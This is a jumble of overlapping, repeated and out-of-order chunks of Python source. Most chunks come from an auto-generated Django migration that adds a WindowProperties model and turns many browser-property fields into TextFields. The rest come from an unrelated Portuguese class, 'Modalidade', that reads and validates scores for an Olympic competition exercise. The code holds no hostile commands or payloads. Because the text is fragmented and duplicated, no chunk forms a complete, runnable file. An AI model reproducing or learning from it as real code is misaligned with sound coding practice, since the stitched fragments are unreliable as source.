"[ migrations.CreateModel( name='WindowProperties', fields=[ ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('op_frame_count', models.TextField()), ('op_win_window', models.TextField()),",
"field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_width', field=models.TextField(), ), migrations.AddConstraint( model_name='objectproperties', constraint=models.UniqueConstraint(fields=('op_el_height', 'op_el_width', 'op_el_naturalHeight', 'op_el_naturalWidth',",
"model_name='objectproperties', name='op_el_buffered', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_duration', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_height', field=models.TextField(),",
"model_name='objectproperties', name='op_el_naturalHeight', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_naturalWidth', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_networkState', field=models.TextField(),",
"), migrations.AddConstraint( model_name='windowproperties', constraint=models.UniqueConstraint(fields=('op_frame_count', 'op_win_window', 'op_win_CSS2Properties', 'op_win_origin', 'op_win_opener'), name='win'), ), migrations.AddField( model_name='observation', name='window_properties',",
"), migrations.AlterField( model_name='objectproperties', name='op_el_buffered', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_duration', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties',",
"'op_el_networkState', 'op_el_readyState', 'op_el_buffered', 'op_el_paused', 'op_el_seekable', 'op_el_sheet', 'op_el_media_error'), name='op'), ), migrations.AddConstraint( model_name='windowproperties', constraint=models.UniqueConstraint(fields=('op_frame_count', 'op_win_window',",
"), migrations.AlterField( model_name='objectproperties', name='op_el_sheet', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_videoHeight', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties',",
"field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_media_error', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_naturalHeight', field=models.TextField(), ), migrations.AlterField(",
"], ), migrations.RemoveConstraint( model_name='objectproperties', name='op', ), migrations.RemoveField( model_name='objectproperties', name='op_frame_count', ), migrations.RemoveField( model_name='objectproperties', name='op_win_CSS2Properties',",
"from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('dbcon',",
"Migration(migrations.Migration): dependencies = [ ('dbcon', '0002_auto_20210528_1657'), ] operations = [ migrations.CreateModel( name='WindowProperties', fields=[",
"), migrations.RemoveField( model_name='objectproperties', name='op_win_opener', ), migrations.RemoveField( model_name='objectproperties', name='op_win_origin', ), migrations.RemoveField( model_name='objectproperties', name='op_win_window', ),",
"<gh_stars>0 # Generated by Django 3.2.3 on 2021-05-28 18:24 from django.db import migrations,",
"), migrations.AlterField( model_name='objectproperties', name='op_el_naturalHeight', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_naturalWidth', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties',",
"('op_win_opener', models.TextField()), ], ), migrations.RemoveConstraint( model_name='objectproperties', name='op', ), migrations.RemoveField( model_name='objectproperties', name='op_frame_count', ), migrations.RemoveField(",
"), migrations.AlterField( model_name='objectproperties', name='op_el_readyState', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_seekable', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties',",
"= [ ('dbcon', '0002_auto_20210528_1657'), ] operations = [ migrations.CreateModel( name='WindowProperties', fields=[ ('id', models.BigAutoField(auto_created=True,",
"class Migration(migrations.Migration): dependencies = [ ('dbcon', '0002_auto_20210528_1657'), ] operations = [ migrations.CreateModel( name='WindowProperties',",
"name='op', ), migrations.RemoveField( model_name='objectproperties', name='op_frame_count', ), migrations.RemoveField( model_name='objectproperties', name='op_win_CSS2Properties', ), migrations.RemoveField( model_name='objectproperties', name='op_win_opener',",
"), migrations.AlterField( model_name='globalproperties', name='gp_window_onblur', field=models.TextField(), ), migrations.AlterField( model_name='globalproperties', name='gp_window_onerror', field=models.TextField(), ), migrations.AlterField( model_name='globalproperties',",
"django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('dbcon', '0002_auto_20210528_1657'),",
"field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_duration', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_height', field=models.TextField(), ), migrations.AlterField(",
"migrations.AlterField( model_name='objectproperties', name='op_el_sheet', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_videoHeight', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_videoWidth',",
"migrations.RemoveField( model_name='objectproperties', name='op_win_window', ), migrations.AlterField( model_name='events', name='event_list', field=models.TextField(), ), migrations.AlterField( model_name='events', name='event_set', field=models.TextField(),",
"), migrations.AlterField( model_name='objectproperties', name='op_el_videoHeight', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_videoWidth', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties',",
"'op_el_paused', 'op_el_seekable', 'op_el_sheet', 'op_el_media_error'), name='op'), ), migrations.AddConstraint( model_name='windowproperties', constraint=models.UniqueConstraint(fields=('op_frame_count', 'op_win_window', 'op_win_CSS2Properties', 'op_win_origin', 'op_win_opener'),",
"model_name='objectproperties', name='op_win_opener', ), migrations.RemoveField( model_name='objectproperties', name='op_win_origin', ), migrations.RemoveField( model_name='objectproperties', name='op_win_window', ), migrations.AlterField( model_name='events',",
"name='gp_download_bar_height', field=models.TextField(), ), migrations.AlterField( model_name='globalproperties', name='gp_securitypolicyviolation', field=models.TextField(), ), migrations.AlterField( model_name='globalproperties', name='gp_window_getComputedStyle', field=models.TextField(), ),",
"name='op_el_videoWidth', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_width', field=models.TextField(), ), migrations.AddConstraint( model_name='objectproperties', constraint=models.UniqueConstraint(fields=('op_el_height', 'op_el_width', 'op_el_naturalHeight',",
"'op_el_sheet', 'op_el_media_error'), name='op'), ), migrations.AddConstraint( model_name='windowproperties', constraint=models.UniqueConstraint(fields=('op_frame_count', 'op_win_window', 'op_win_CSS2Properties', 'op_win_origin', 'op_win_opener'), name='win'), ),",
"name='op_el_naturalHeight', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_naturalWidth', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_networkState', field=models.TextField(), ),",
"field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_videoWidth', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_width', field=models.TextField(), ), migrations.AddConstraint(",
"), migrations.RemoveField( model_name='objectproperties', name='op_win_CSS2Properties', ), migrations.RemoveField( model_name='objectproperties', name='op_win_opener', ), migrations.RemoveField( model_name='objectproperties', name='op_win_origin', ),",
"= [ migrations.CreateModel( name='WindowProperties', fields=[ ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('op_frame_count', models.TextField()), ('op_win_window',",
"), migrations.AlterField( model_name='objectproperties', name='op_el_seekable', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_sheet', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties',",
"('op_win_origin', models.TextField()), ('op_win_opener', models.TextField()), ], ), migrations.RemoveConstraint( model_name='objectproperties', name='op', ), migrations.RemoveField( model_name='objectproperties', name='op_frame_count',",
"), migrations.AlterField( model_name='globalproperties', name='gp_window_onerror', field=models.TextField(), ), migrations.AlterField( model_name='globalproperties', name='gp_window_postMessage', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties',",
"models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('dbcon', '0002_auto_20210528_1657'), ] operations =",
"by Django 3.2.3 on 2021-05-28 18:24 from django.db import migrations, models import django.db.models.deletion",
"), migrations.RemoveConstraint( model_name='objectproperties', name='op', ), migrations.RemoveField( model_name='objectproperties', name='op_frame_count', ), migrations.RemoveField( model_name='objectproperties', name='op_win_CSS2Properties', ),",
"name='event_list', field=models.TextField(), ), migrations.AlterField( model_name='events', name='event_set', field=models.TextField(), ), migrations.AlterField( model_name='globalproperties', name='gp_download_bar_height', field=models.TextField(), ),",
"model_name='objectproperties', name='op_el_seekable', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_sheet', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_videoHeight', field=models.TextField(),",
"model_name='objectproperties', name='op_win_window', ), migrations.AlterField( model_name='events', name='event_list', field=models.TextField(), ), migrations.AlterField( model_name='events', name='event_set', field=models.TextField(), ),",
"field=models.TextField(), ), migrations.AlterField( model_name='globalproperties', name='gp_window_onerror', field=models.TextField(), ), migrations.AlterField( model_name='globalproperties', name='gp_window_postMessage', field=models.TextField(), ), migrations.AlterField(",
"migrations.AlterField( model_name='objectproperties', name='op_el_height', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_media_error', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_naturalHeight',",
"models.TextField()), ('op_win_CSS2Properties', models.TextField()), ('op_win_origin', models.TextField()), ('op_win_opener', models.TextField()), ], ), migrations.RemoveConstraint( model_name='objectproperties', name='op', ),",
"models.TextField()), ], ), migrations.RemoveConstraint( model_name='objectproperties', name='op', ), migrations.RemoveField( model_name='objectproperties', name='op_frame_count', ), migrations.RemoveField( model_name='objectproperties',",
"import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('dbcon', '0002_auto_20210528_1657'), ] operations = [",
"django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('dbcon', '0002_auto_20210528_1657'), ] operations = [ migrations.CreateModel(",
"field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_buffered', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_duration', field=models.TextField(), ), migrations.AlterField(",
"migrations.AlterField( model_name='objectproperties', name='op_el_naturalHeight', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_naturalWidth', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_networkState',",
"), migrations.AlterField( model_name='globalproperties', name='gp_window_hasOwnProperty', field=models.TextField(), ), migrations.AlterField( model_name='globalproperties', name='gp_window_onblur', field=models.TextField(), ), migrations.AlterField( model_name='globalproperties',",
"), migrations.AlterField( model_name='objectproperties', name='op_el_paused', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_readyState', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties',",
"# Generated by Django 3.2.3 on 2021-05-28 18:24 from django.db import migrations, models",
"), migrations.AlterField( model_name='globalproperties', name='gp_download_bar_height', field=models.TextField(), ), migrations.AlterField( model_name='globalproperties', name='gp_securitypolicyviolation', field=models.TextField(), ), migrations.AlterField( model_name='globalproperties',",
"field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_naturalWidth', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_networkState', field=models.TextField(), ), migrations.AlterField(",
"), migrations.AlterField( model_name='globalproperties', name='gp_window_postMessage', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_buffered', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties',",
"verbose_name='ID')), ('op_frame_count', models.TextField()), ('op_win_window', models.TextField()), ('op_win_CSS2Properties', models.TextField()), ('op_win_origin', models.TextField()), ('op_win_opener', models.TextField()), ], ),",
"migrations.AlterField( model_name='objectproperties', name='op_el_naturalWidth', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_networkState', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_paused',",
"dependencies = [ ('dbcon', '0002_auto_20210528_1657'), ] operations = [ migrations.CreateModel( name='WindowProperties', fields=[ ('id',",
"fields=[ ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('op_frame_count', models.TextField()), ('op_win_window', models.TextField()), ('op_win_CSS2Properties', models.TextField()), ('op_win_origin',",
"field=models.TextField(), ), migrations.AlterField( model_name='globalproperties', name='gp_download_bar_height', field=models.TextField(), ), migrations.AlterField( model_name='globalproperties', name='gp_securitypolicyviolation', field=models.TextField(), ), migrations.AlterField(",
"field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_naturalHeight', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_naturalWidth', field=models.TextField(), ), migrations.AlterField(",
"model_name='globalproperties', name='gp_window_onerror', field=models.TextField(), ), migrations.AlterField( model_name='globalproperties', name='gp_window_postMessage', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_buffered', field=models.TextField(),",
"name='op_el_paused', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_readyState', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_seekable', field=models.TextField(), ),",
"field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_readyState', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_seekable', field=models.TextField(), ), migrations.AlterField(",
"model_name='objectproperties', constraint=models.UniqueConstraint(fields=('op_el_height', 'op_el_width', 'op_el_naturalHeight', 'op_el_naturalWidth', 'op_el_videoHeight', 'op_el_videoWidth', 'op_el_duration', 'op_el_networkState', 'op_el_readyState', 'op_el_buffered', 'op_el_paused', 'op_el_seekable',",
"2021-05-28 18:24 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies =",
"name='op_frame_count', ), migrations.RemoveField( model_name='objectproperties', name='op_win_CSS2Properties', ), migrations.RemoveField( model_name='objectproperties', name='op_win_opener', ), migrations.RemoveField( model_name='objectproperties', name='op_win_origin',",
"field=models.TextField(), ), migrations.AlterField( model_name='globalproperties', name='gp_window_getComputedStyle', field=models.TextField(), ), migrations.AlterField( model_name='globalproperties', name='gp_window_hasOwnProperty', field=models.TextField(), ), migrations.AlterField(",
"model_name='objectproperties', name='op_el_videoHeight', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_videoWidth', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_width', field=models.TextField(),",
"), migrations.RemoveField( model_name='objectproperties', name='op_win_origin', ), migrations.RemoveField( model_name='objectproperties', name='op_win_window', ), migrations.AlterField( model_name='events', name='event_list', field=models.TextField(),",
"model_name='windowproperties', constraint=models.UniqueConstraint(fields=('op_frame_count', 'op_win_window', 'op_win_CSS2Properties', 'op_win_origin', 'op_win_opener'), name='win'), ), migrations.AddField( model_name='observation', name='window_properties', field=models.ForeignKey(null=True, on_delete=django.db.models.deletion.CASCADE,",
"migrations.AlterField( model_name='objectproperties', name='op_el_paused', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_readyState', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_seekable',",
"constraint=models.UniqueConstraint(fields=('op_frame_count', 'op_win_window', 'op_win_CSS2Properties', 'op_win_origin', 'op_win_opener'), name='win'), ), migrations.AddField( model_name='observation', name='window_properties', field=models.ForeignKey(null=True, on_delete=django.db.models.deletion.CASCADE, to='dbcon.windowproperties'),",
"field=models.TextField(), ), migrations.AddConstraint( model_name='objectproperties', constraint=models.UniqueConstraint(fields=('op_el_height', 'op_el_width', 'op_el_naturalHeight', 'op_el_naturalWidth', 'op_el_videoHeight', 'op_el_videoWidth', 'op_el_duration', 'op_el_networkState', 'op_el_readyState',",
"migrations.AlterField( model_name='globalproperties', name='gp_window_postMessage', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_buffered', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_duration',",
"name='gp_window_onblur', field=models.TextField(), ), migrations.AlterField( model_name='globalproperties', name='gp_window_onerror', field=models.TextField(), ), migrations.AlterField( model_name='globalproperties', name='gp_window_postMessage', field=models.TextField(), ),",
"), migrations.AlterField( model_name='objectproperties', name='op_el_width', field=models.TextField(), ), migrations.AddConstraint( model_name='objectproperties', constraint=models.UniqueConstraint(fields=('op_el_height', 'op_el_width', 'op_el_naturalHeight', 'op_el_naturalWidth', 'op_el_videoHeight',",
"), migrations.AlterField( model_name='objectproperties', name='op_el_videoWidth', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_width', field=models.TextField(), ), migrations.AddConstraint( model_name='objectproperties',",
"models.TextField()), ('op_win_window', models.TextField()), ('op_win_CSS2Properties', models.TextField()), ('op_win_origin', models.TextField()), ('op_win_opener', models.TextField()), ], ), migrations.RemoveConstraint( model_name='objectproperties',",
"Django 3.2.3 on 2021-05-28 18:24 from django.db import migrations, models import django.db.models.deletion class",
"'0002_auto_20210528_1657'), ] operations = [ migrations.CreateModel( name='WindowProperties', fields=[ ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),",
"field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_seekable', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_sheet', field=models.TextField(), ), migrations.AlterField(",
"'op_win_CSS2Properties', 'op_win_origin', 'op_win_opener'), name='win'), ), migrations.AddField( model_name='observation', name='window_properties', field=models.ForeignKey(null=True, on_delete=django.db.models.deletion.CASCADE, to='dbcon.windowproperties'), ), ]",
"model_name='objectproperties', name='op_el_media_error', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_naturalHeight', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_naturalWidth', field=models.TextField(),",
"), migrations.AlterField( model_name='objectproperties', name='op_el_media_error', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_naturalHeight', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties',",
"primary_key=True, serialize=False, verbose_name='ID')), ('op_frame_count', models.TextField()), ('op_win_window', models.TextField()), ('op_win_CSS2Properties', models.TextField()), ('op_win_origin', models.TextField()), ('op_win_opener', models.TextField()),",
"('dbcon', '0002_auto_20210528_1657'), ] operations = [ migrations.CreateModel( name='WindowProperties', fields=[ ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False,",
"), migrations.AlterField( model_name='objectproperties', name='op_el_naturalWidth', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_networkState', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties',",
"] operations = [ migrations.CreateModel( name='WindowProperties', fields=[ ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('op_frame_count',",
"migrations.AlterField( model_name='events', name='event_list', field=models.TextField(), ), migrations.AlterField( model_name='events', name='event_set', field=models.TextField(), ), migrations.AlterField( model_name='globalproperties', name='gp_download_bar_height',",
"model_name='objectproperties', name='op_el_height', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_media_error', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_naturalHeight', field=models.TextField(),",
"('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('op_frame_count', models.TextField()), ('op_win_window', models.TextField()), ('op_win_CSS2Properties', models.TextField()), ('op_win_origin', models.TextField()),",
"name='op_win_CSS2Properties', ), migrations.RemoveField( model_name='objectproperties', name='op_win_opener', ), migrations.RemoveField( model_name='objectproperties', name='op_win_origin', ), migrations.RemoveField( model_name='objectproperties', name='op_win_window',",
"), migrations.AlterField( model_name='events', name='event_set', field=models.TextField(), ), migrations.AlterField( model_name='globalproperties', name='gp_download_bar_height', field=models.TextField(), ), migrations.AlterField( model_name='globalproperties',",
"model_name='objectproperties', name='op_frame_count', ), migrations.RemoveField( model_name='objectproperties', name='op_win_CSS2Properties', ), migrations.RemoveField( model_name='objectproperties', name='op_win_opener', ), migrations.RemoveField( model_name='objectproperties',",
"name='op_win_origin', ), migrations.RemoveField( model_name='objectproperties', name='op_win_window', ), migrations.AlterField( model_name='events', name='event_list', field=models.TextField(), ), migrations.AlterField( model_name='events',",
"migrations.AlterField( model_name='events', name='event_set', field=models.TextField(), ), migrations.AlterField( model_name='globalproperties', name='gp_download_bar_height', field=models.TextField(), ), migrations.AlterField( model_name='globalproperties', name='gp_securitypolicyviolation',",
"model_name='globalproperties', name='gp_securitypolicyviolation', field=models.TextField(), ), migrations.AlterField( model_name='globalproperties', name='gp_window_getComputedStyle', field=models.TextField(), ), migrations.AlterField( model_name='globalproperties', name='gp_window_hasOwnProperty', field=models.TextField(),",
"name='gp_window_getComputedStyle', field=models.TextField(), ), migrations.AlterField( model_name='globalproperties', name='gp_window_hasOwnProperty', field=models.TextField(), ), migrations.AlterField( model_name='globalproperties', name='gp_window_onblur', field=models.TextField(), ),",
"field=models.TextField(), ), migrations.AlterField( model_name='globalproperties', name='gp_window_hasOwnProperty', field=models.TextField(), ), migrations.AlterField( model_name='globalproperties', name='gp_window_onblur', field=models.TextField(), ), migrations.AlterField(",
"name='gp_window_postMessage', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_buffered', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_duration', field=models.TextField(), ),",
"migrations.AlterField( model_name='objectproperties', name='op_el_networkState', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_paused', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_readyState',",
"model_name='globalproperties', name='gp_window_onblur', field=models.TextField(), ), migrations.AlterField( model_name='globalproperties', name='gp_window_onerror', field=models.TextField(), ), migrations.AlterField( model_name='globalproperties', name='gp_window_postMessage', field=models.TextField(),",
"model_name='objectproperties', name='op_el_width', field=models.TextField(), ), migrations.AddConstraint( model_name='objectproperties', constraint=models.UniqueConstraint(fields=('op_el_height', 'op_el_width', 'op_el_naturalHeight', 'op_el_naturalWidth', 'op_el_videoHeight', 'op_el_videoWidth', 'op_el_duration',",
"'op_el_media_error'), name='op'), ), migrations.AddConstraint( model_name='windowproperties', constraint=models.UniqueConstraint(fields=('op_frame_count', 'op_win_window', 'op_win_CSS2Properties', 'op_win_origin', 'op_win_opener'), name='win'), ), migrations.AddField(",
"), migrations.RemoveField( model_name='objectproperties', name='op_frame_count', ), migrations.RemoveField( model_name='objectproperties', name='op_win_CSS2Properties', ), migrations.RemoveField( model_name='objectproperties', name='op_win_opener', ),"
] |
[
"lerentrada(self, numadversario): \"\"\" Captura a entrada de dados do usuário. @param numadversario: identificador",
"@return: número de tentativas (notas, arremessos). \"\"\" return self._numtentativas def adversarios(self): \"\"\" Lista",
"(instâncias 'adversario'). \"\"\" return self._adversarios def vencedor(self): \"\"\" Vencedor da competição. @return: Nome",
"do adversário. @return: entrada de dados do usuário. \"\"\" return self._input.input( self._mensagem.format( self._numtentativas,",
"adversário. @return: entrada de dados do usuário. \"\"\" return self._input.input( self._mensagem.format( self._numtentativas, numadversario",
"False (inválidas). \"\"\" if len(self._adversarios) is self._numadversarios: return False _strtentativas = entrada.split(',') if",
"< self._numtentativas: return False try: _floattentativas = [float(x) for x in _strtentativas] except",
"resultados). Notar que a superclasse processa apenas uma parte comum a todas as",
"numerotentativas(self): \"\"\" Número de tentativas (notas, arremessos) @return: número de tentativas (notas, arremessos).",
"@return: True (válidas) ou False (inválidas). \"\"\" if len(self._adversarios) is self._numadversarios: return False",
"fornecida pra orientar a entrada de dados. \"\"\" self._input = inp self._numtentativas =",
"numadversario: identificador do adversário. @return: entrada de dados do usuário. \"\"\" return self._input.input(",
"na competição. @param numadversarios: número de adversários na competição. @param mensagem: Mensagem fornecida",
"pela entrada de dados. @param numtentativas: número de tentativas (notas, arremessos) para classificação",
"que é ordenar os resultados. @return: None \"\"\" for adversario in self.adversarios(): adversario.resultado().sort(reverse=True)",
"Adversario class Modalidade: \"\"\" Superclasse representando uma modalidade de competição das olimpíadas. \"\"\"",
"(notas, arremessos) do adversário. @param entrada: (notas, arremessos) do adversário. @return: True (válidas)",
"do usuário. \"\"\" return self._input.input( self._mensagem.format( self._numtentativas, numadversario ) ) def iniciar(self): \"\"\"",
"self._numtentativas def adversarios(self): \"\"\" Lista de adversários na competição. @return: lista de adversários",
"responsável pela entrada de dados. @param numtentativas: número de tentativas (notas, arremessos) para",
"return self._input.input( self._mensagem.format( self._numtentativas, numadversario ) ) def iniciar(self): \"\"\" Executa a competição",
"competição de olimpíadas. \"\"\" from ooppython3.adversario import Adversario class Modalidade: \"\"\" Superclasse representando",
"na competição. @param mensagem: Mensagem fornecida pra orientar a entrada de dados. \"\"\"",
"= \"Empate\" def __init__(self, inp, numtentativas, numadversarios, mensagem): \"\"\" Construtor. @param inp: instância",
"[float(x) for x in _strtentativas] except ValueError: return False if len(_floattentativas) is self._numtentativas:",
"len(self._adversarios) is self._numadversarios: return False _strtentativas = entrada.split(',') if len(_strtentativas) < self._numtentativas: return",
") ) def iniciar(self): \"\"\" Executa a competição (processa os resultados). Notar que",
"entrada de dados. @param numtentativas: número de tentativas (notas, arremessos) para classificação na",
"@param numadversarios: número de adversários na competição. @param mensagem: Mensagem fornecida pra orientar",
"adversário. @param entrada: (notas, arremessos) do adversário. @return: True (válidas) ou False (inválidas).",
"self._numadversarios: return False _strtentativas = entrada.split(',') if len(_strtentativas) < self._numtentativas: return False try:",
"self._numtentativas: self._adversarios.append( Adversario( nome=\"Adversario {}\".format(len(self._adversarios)+1), resultado=_floattentativas ) ) return True return False def",
"# coding=UTF-8 \"\"\" Módulo: Fornece a superclasse com todos os métodos necessários para",
"implementar uma modalidade de competição de olimpíadas. \"\"\" from ooppython3.adversario import Adversario class",
"__init__(self, inp, numtentativas, numadversarios, mensagem): \"\"\" Construtor. @param inp: instância da classe responsável",
"def numeroadversarios(self): \"\"\" Número de adversários. @return: número de adversários. \"\"\" return self._numadversarios",
"uma modalidade de competição de olimpíadas. \"\"\" from ooppython3.adversario import Adversario class Modalidade:",
"competição. @param numadversarios: número de adversários na competição. @param mensagem: Mensagem fornecida pra",
"Superclasse representando uma modalidade de competição das olimpíadas. \"\"\" _adversarios = [] _input",
"uma parte comum a todas as competições, que é ordenar os resultados. @return:",
"Construtor. @param inp: instância da classe responsável pela entrada de dados. @param numtentativas:",
"_strtentativas = entrada.split(',') if len(_strtentativas) < self._numtentativas: return False try: _floattentativas = [float(x)",
"que a superclasse processa apenas uma parte comum a todas as competições, que",
"return self._adversarios def vencedor(self): \"\"\" Vencedor da competição. @return: Nome do vencedor (adversário)",
"None _mensagem = None _vencedor = \"Empate\" def __init__(self, inp, numtentativas, numadversarios, mensagem):",
"\"\"\" _adversarios = [] _input = None _numtentativas = None _numadversarios = None",
"resultado=_floattentativas ) ) return True return False def lerentrada(self, numadversario): \"\"\" Captura a",
"comum a todas as competições, que é ordenar os resultados. @return: None \"\"\"",
"adversário. @return: True (válidas) ou False (inválidas). \"\"\" if len(self._adversarios) is self._numadversarios: return",
"de competição das olimpíadas. \"\"\" _adversarios = [] _input = None _numtentativas =",
"usuário. @param numadversario: identificador do adversário. @return: entrada de dados do usuário. \"\"\"",
"a todas as competições, que é ordenar os resultados. @return: None \"\"\" for",
"tentativas (notas, arremessos) para classificação na competição. @param numadversarios: número de adversários na",
"self._adversarios.append( Adversario( nome=\"Adversario {}\".format(len(self._adversarios)+1), resultado=_floattentativas ) ) return True return False def lerentrada(self,",
"adversario in self.adversarios(): adversario.resultado().sort(reverse=True) def numeroadversarios(self): \"\"\" Número de adversários. @return: número de",
"adversários. @return: número de adversários. \"\"\" return self._numadversarios def numerotentativas(self): \"\"\" Número de",
"de adversários na competição. @return: lista de adversários (instâncias 'adversario'). \"\"\" return self._adversarios",
"= inp self._numtentativas = numtentativas self._numadversarios = numadversarios self._mensagem = mensagem def validarentrada(self,",
"(notas, arremessos) do adversário. @return: True (válidas) ou False (inválidas). \"\"\" if len(self._adversarios)",
"False _strtentativas = entrada.split(',') if len(_strtentativas) < self._numtentativas: return False try: _floattentativas =",
"tentativas (notas, arremessos). \"\"\" return self._numtentativas def adversarios(self): \"\"\" Lista de adversários na",
"olimpíadas. \"\"\" _adversarios = [] _input = None _numtentativas = None _numadversarios =",
"return False def lerentrada(self, numadversario): \"\"\" Captura a entrada de dados do usuário.",
"numadversarios self._mensagem = mensagem def validarentrada(self, entrada): \"\"\" Valida a entrada de dados",
"\"\"\" Superclasse representando uma modalidade de competição das olimpíadas. \"\"\" _adversarios = []",
"numadversario ) ) def iniciar(self): \"\"\" Executa a competição (processa os resultados). Notar",
"self.adversarios(): adversario.resultado().sort(reverse=True) def numeroadversarios(self): \"\"\" Número de adversários. @return: número de adversários. \"\"\"",
"ou False (inválidas). \"\"\" if len(self._adversarios) is self._numadversarios: return False _strtentativas = entrada.split(',')",
"os resultados. @return: None \"\"\" for adversario in self.adversarios(): adversario.resultado().sort(reverse=True) def numeroadversarios(self): \"\"\"",
"de dados do usuário. @param numadversario: identificador do adversário. @return: entrada de dados",
"entrada de dados (notas, arremessos) do adversário. @param entrada: (notas, arremessos) do adversário.",
"inp self._numtentativas = numtentativas self._numadversarios = numadversarios self._mensagem = mensagem def validarentrada(self, entrada):",
"(válidas) ou False (inválidas). \"\"\" if len(self._adversarios) is self._numadversarios: return False _strtentativas =",
"numadversarios, mensagem): \"\"\" Construtor. @param inp: instância da classe responsável pela entrada de",
"@param entrada: (notas, arremessos) do adversário. @return: True (válidas) ou False (inválidas). \"\"\"",
"numadversario): \"\"\" Captura a entrada de dados do usuário. @param numadversario: identificador do",
"mensagem): \"\"\" Construtor. @param inp: instância da classe responsável pela entrada de dados.",
"_adversarios = [] _input = None _numtentativas = None _numadversarios = None _mensagem",
"arremessos) para classificação na competição. @param numadversarios: número de adversários na competição. @param",
